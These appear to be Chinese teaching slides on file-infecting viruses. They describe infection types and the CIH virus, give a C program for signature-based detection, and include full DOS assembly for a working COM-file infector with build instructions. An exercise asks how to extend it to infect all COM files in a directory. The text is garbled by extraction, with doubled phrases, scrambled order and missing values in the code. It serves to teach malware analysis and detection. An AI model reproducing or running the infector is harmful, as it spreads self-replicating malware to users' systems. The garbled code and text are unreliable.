1、文件型病毒的原理、实例和检测常见的病毒分类 文件型病毒 引导型病毒 宏病毒 网络病毒 网页病毒(恶意代码)脚本病毒 蠕虫病毒 邮件病毒 木马病毒文件型病毒 文件型病毒定义 文件型病毒是主要感染可执行文件的病毒,它通常隐藏在宿主程序中,执行宿主程序时,将会先执行病毒程序再执行宿主程序 文件型病毒传播方式 当宿主程序运行时,病毒程序首先运行,然后驻留在内存中,再伺机感染其它的可执行程序,达到传播的目的文件型病毒 文件型病毒的感染对象 扩展名是COM或者EXE的文件是文件型病毒感染的主要对象文件型病毒破坏过程系统启动运行.com或.exe文件病毒随文件转到内存对调入内存的新文件实施监控判断新文件是否
2、被感染?判断是否符合病毒触发条件?激活病毒,实施破坏Yes实施感染Yes引导模块引导模块破坏模块破坏模块传染模块传染模块文件型病毒 文件型病毒类型 前后附加型:附加在文件的开头或者末尾 覆盖型:覆盖后源文件长度不变,便于隐藏 伴随型:文件中插入跳转命令。伴随病毒不改变被感染的文件,而是为被感染的文件创建一个伴随文件(病毒文件)感染COM文件的一种方法 JMP XXXX:XXXX -原程序 -病 毒 -文件型病毒举例CIH 主要感染Windows95/98下的可执行文件 经历了v1.0,v1.1、v1.2、v1.3、v1.4总共5个版本,危害最大的是v1.2版本,此版本只在每年的4月26日发作
3、当运行了带毒的文件后,CIH病毒驻留内存,再运行其它.exe文件时,首先在文件中搜索“caves”字符,如果没有发现就立即传染 CIH病毒发作时硬盘数据、硬盘主引导记录、系统引导扇区、文件分配表被覆盖,造成硬盘数据特别是C盘数据丢失,并破坏部分类型的主板上的Flash BIOS导致计算机无法使用汇编virus代码实例 该病毒文件感染的是同目录下名为mycom1的com文件 目标文件(要感染的文件): 病毒文件: 目标文件的asm代码如下:code segment org 100h assume cs:code,ds:code,es:code main proc near mov ax,4c00
4、h int 21h code ends end main本com文件的实际有效指令 下面,我们来分析病毒文件的工作过程:读入目标文件(读入目标文件()移动文件指针到文件移动文件指针到文件()尾部尾部将病毒体将病毒体()附加在感染文件附加在感染文件()后面后面移动文件指针到文件移动文件指针到文件()开头开头将构造好的将构造好的 JMP 指令写入文件指令写入文件的起始处的起始处关闭文件关闭文件打开目标文件(打开目标文件()根据根据的尾部地址,构造的尾部地址,构造JMP指令(文件尾部指令(文件尾部是病毒代码的开始处,也就是是病毒代码的开始处,也就是jmp要跳转到的地址)要跳转到的地址)mov ax,
5、4c00h int 21h :M文件指针Jmp (pop si).pop si sub si,offset locate mov ax,word ptr ds:first_3bytesi mov ds:100h,ax mov al,ds:first_3bytesi+2mov ds:102h,al :1.打开目标文件打开目标文件2.读入目标文件读入目标文件3.移动文件指针移动文件指针 到文件尾部到文件尾部4.构造构造JMP指令指令5.病毒体病毒体()附附加在加在M后面后面6.移动文件指针到移动文件指针到mycom1开头开头7.将构造好的将构造好的 JMP 指令写入文件指针处指令写入文件指针处(m
6、ycom1的起始处的起始处)8.关闭文件关闭文件补充 关于dos功能调用的调用号 调用号存入寄存器ax的高8位,也就是ah中,命令为:mov ah,调用号 Dos功能调用以指令以int 21h结束 本程序中用到的调用号 打开文件:3d 读文件:3f 写文件:40 关闭文件:3e 移动文件指针:42 接着来看病毒文件的汇编代码 code segment assume cs:code,ds:code,ss:code org 100h start:nop nop nop vstart:call locate locate:pop si sub si,offset locate mov ax,word
7、 ptr ds:first_3bytesi mov ds:100h,ax mov al,ds:first_3bytesi+2 mov ds:102h,al初始工作 mov ax,3d02h lea dx,fnamesi int 21h mov bx,ax mov ah,3fh mov cx,3 lea dx,first_3bytesi int 21h mov ax,4202h xor cx,cx xor dx,dx int 21h sub ax,3 mov word ptr jmp_3bytesi+1,ax打开目标文件读文件移动文件指针到末尾计算跳转地址,并构造jmp指令 mov ax,400
8、0h mov cx,vsize lea dx,vstartsi int 21h mov ax,4200h xor cx,cx xor dx,dx int 21h mov ah,40h mov cx,3 lea dx,jmp_3bytesi int 21h mov ah,3eh int 21h病毒附加到文件后面指针移动到文件开头写入jmp指令(这条指令覆盖了原文件的第一条指令)关闭文件 mov ax,100h push ax ret first_3byte db 0cdh,20h,0 jmp_3byte db 0e9h,?,?fname db ,0 vsize equ$-offset vstar
9、t code ends end start善后工作 病毒代码运行后:的第一条语句mov ax,4c00h被jmp 0105语句覆盖 的第二条语句后面附加了virus1的代码 M没被感染前:M被感染后:附加的病毒代码已被跳转指令覆盖 问题:考虑感染的通用性问题,如何感染相同目录下的所有com文件(*.com)?提示:需要遍历查找所有的匹配项(后缀为.com的文件),考虑dos调用4e(查找第一个匹配项)和4f(查找下一个匹配项)MASM使用方法 把MASM放在跟目录下例如E:MASM 把编辑好的ASM文件(用TXT文档编写程序,保存.把后缀名TXT改成ASM)放在MASM文件夹下如(E:MASM
10、文件名.ASM)点击开始菜单.运行-CMD-E:回车-CD MASM回车,进入masm环境 编译:-masm 文件名 3下回车 连接:-link 文件名 3下回车(本试验中,run file的后缀名exe改为com)运行:-文件名.Com 调试:-debug 文件名.Com 调试选项 u:反编译 调试选项d:查看内存内容病毒检测方法特征代码法 概念:利用病毒留在受感染文件中的病毒特征值进行检测 对比文件与病毒数据库中的病毒特征代码,检查文件是否含有病毒特征代码法 特征码是什么呢?一串表明病毒自身特征的十六进制的字串 比如说,如果在第1034字节处是下面的内容:0 xec,0 x99,0 x80
11、,0 x99,就表示是大麻病毒 所以,0 xec,0 x99,0 x80,0 x99就是大麻病毒得特征码 特征码一般都选得很长,有时可达数十字节,一般也会选取多个,以保证正确判断病毒特征码的存储数据结构示例:typedef struct tagVSIGNATURE BAV_SIGN_TYPE eType;DWORD dwOffset;DWORD dwSize;BYTE SignatureMAX_SIGNATURE_LEN;VSIGNATURE,*PVSIGNATURE;特征代码法 某病毒的特征码表示:BS_PHY_FILE,0,32,0 x58,0 x35,0 x4F,0 x21,0 x50,
12、0 x25,0 x40,0 x41,0 x50,0 x5B,0 x34,0 x5C,0 x50,0 x5A,0 x58,0 x35,0 x34,0 x28,0 x50,0 x5E,0 x29,0 x37,0 x43,0 x43,0 x29,0 x37,0 x7D,0 x24,0 x45,0 x49,0 x43,0 x41,特征代码法 以上是病毒的一条特征码,一般病毒会有多条特征码,也就是有多个VSIGNATURE 的结构 用一个新的数据结构来把一个病毒的所有VSIGNATURE 组织在一起,这样就构成了对该病毒的完整描述 把这些完整的描述用链表组织起来,就是我们的病毒数据库特征代码法 特征代码
13、法的优点:检测准确快速 可识别病毒的名称 误报警率低 依据检测结果可做解毒处理 是检测已知病毒的最简单、开销最小的方法特征代码法 特征代码法的缺点:不能检测未知病毒。不能检查多态性病毒。不能对付隐蔽性病毒。随着病毒种类的增多,逐一检查和搜集已知病毒的特征代码,不仅费用开销大,而且在网络上运行效率低,影响此类工具的实用性附:特征码检测的一个例子 不妨设某病毒的特征码表示如下:文件偏移地址0 x0c90提取特征码长度:0 x20(32)特征码内容:0A 73 53 41 2E 65 78 30 5C 5C 31 39 32 2E 31 36 38 2E 30 B0 64 21 73 05 3C 8
14、3 98 1B 76 5B 36 8B 假设要检测的文件为:c:sampleV.exe 用程序来实现,代码如下:#include#include bool scanvir(const char*file,long offset,int length,void*vir);main()int i;unsigned char vir=0 x0A,0 x73,0 x53,0 x41,0 x2E,0 x65,0 x78,0 x30,0 x5C,0 x5C,0 x31,0 x39,0 x32,0 x2E,0 x31,0 x36,0 x38,0 x2E,0 x30,0 xB0,0 x64,0 x21,0 x
15、73,0 x05,0 x3C,0 x83,0 x98,0 x1B,0 x76,0 x5B,0 x36,0 x8B;i=scanvir(c:sampleV.exe,0 x0c90,0 x20,vir);/调用查毒函数 if(i=1)printf(警告!发现病毒。n);if(i=0)printf(没有发现病毒。n);待续 bool scanvir(const char*file,long offset,int length,void*vir)FILE*fp=NULL;int a=0;char rvir255=0;bool b=false;fp=fopen(file,“rb”);/以2进制打开指定文
16、件if(NULL=fp)goto novir;fseek(fp,offset,SEEK_SET);/把文件指针指向偏移地址fread(rvir,length,1,fp);/读取length长度的代码a=memcmp(vir,rvir,length);/与提取的代码比较,返回值放到a中if(a=0)b=true;novir:if(fp)fclose(fp);fp=NULL;return b;续上页 问题:改进为某种病毒的专杀工具?文件型病毒特征码查杀实例 回到前面病毒感染中用到了例子,对病毒进行查杀 这里,是由virus.txt用masm编译连接后产生的可执行文件 V反汇编,确定特征码 确定特征码的偏移和长度 编写程序 运行结果思考和练习 文件型病毒的防治 编程练习